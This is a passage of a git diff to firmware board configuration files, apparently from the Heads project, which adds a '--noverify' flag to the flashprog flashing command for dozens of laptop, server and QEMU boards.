a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index 8972c9baa..cf8680a36 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -68,4 +68,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Workstation" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index 0c26c8f5c..06544a3f0 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 11" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index 6d1e352d9..483dad407 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 13 v2/v3" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index b4d3a93b5..f965892f1 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 13 v4" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 2596ee0b5..58d6e00fb 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -35,7 +35,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 14" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index 77db0afbd..45d42b5dd 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 15 v3" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index c8674f734..ebe86ad5d 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -37,7 +37,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 15 v4" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index 81627f08a..176e76665 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_KERNEL_ADD="intel_iommu=on" export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="Librem Server L1UM" export CONFIG_AUTO_BOOT_TIMEOUT=5 -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index 8564a0409..20383a8a0 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -40,7 +40,7 @@ export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOARD_NAME="Librem Server L1UM v2" export CONFIG_AUTO_BOOT_TIMEOUT=5 -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 6b1a9c552..e5682237e 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem Mini" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 241842126..ddf842457 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem Mini v2" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 038e169f7..9e0cc8f6c 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -68,5 +68,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Nitropad NS50" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index b669aae37..2cde8edc5 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -68,5 +68,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Nitropad NV41" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index b2a46559f..3d4c6f491 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -91,7 +91,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 1690918db..8efd409ea 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index f23fd7b09..6997d5229 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -90,7 +90,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index fbb1b5e45..e6c990ba1 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index e8f7fb839..be6a9c90a 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -91,7 +91,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index 929b5a5a3..481b06a4d 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index b1fe068fc..88cac3da7 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -90,7 +90,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 1c42f6f70..59328efdd 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index 89259f921..12a0a079b 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 8332c8a78..9b5d99000 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 3d3c1da47..6aabadb8c 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 2fabc2da7..6f0eeef9a 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index 756ab46b3..91f81afbf 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -38,7 +38,7 @@ export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad T440p-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index 119b0a17b..ecd1ad778 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index 40350d0cd..ca3021c70 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 22c6e37c9..84e28cc33 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index 60b7e726b..503993dbb 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index 91a95448d..47db58626 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -38,7 +38,7 @@ export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad W541-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 572524b2c..a229bd990 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 81a36fcfb..fb8f87429 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS += xx20_me_blobs diff --git a/boards/x230-hotp-legacy/x230-hotp-legacy.config b/boards/x230-hotp-legacy/x230-hotp-legacy.config index 3d3a78e76..831526ac6 100644 --- a/boards/x230-hotp-legacy/x230-hotp-legacy.config +++ b/boards/x230-hotp-legacy/x230-hotp-legacy.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 887bd03d7..fc30aeefb 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -78,7 +78,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized-eDP" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 2dc8af490..ef9733897 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -80,7 +80,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory 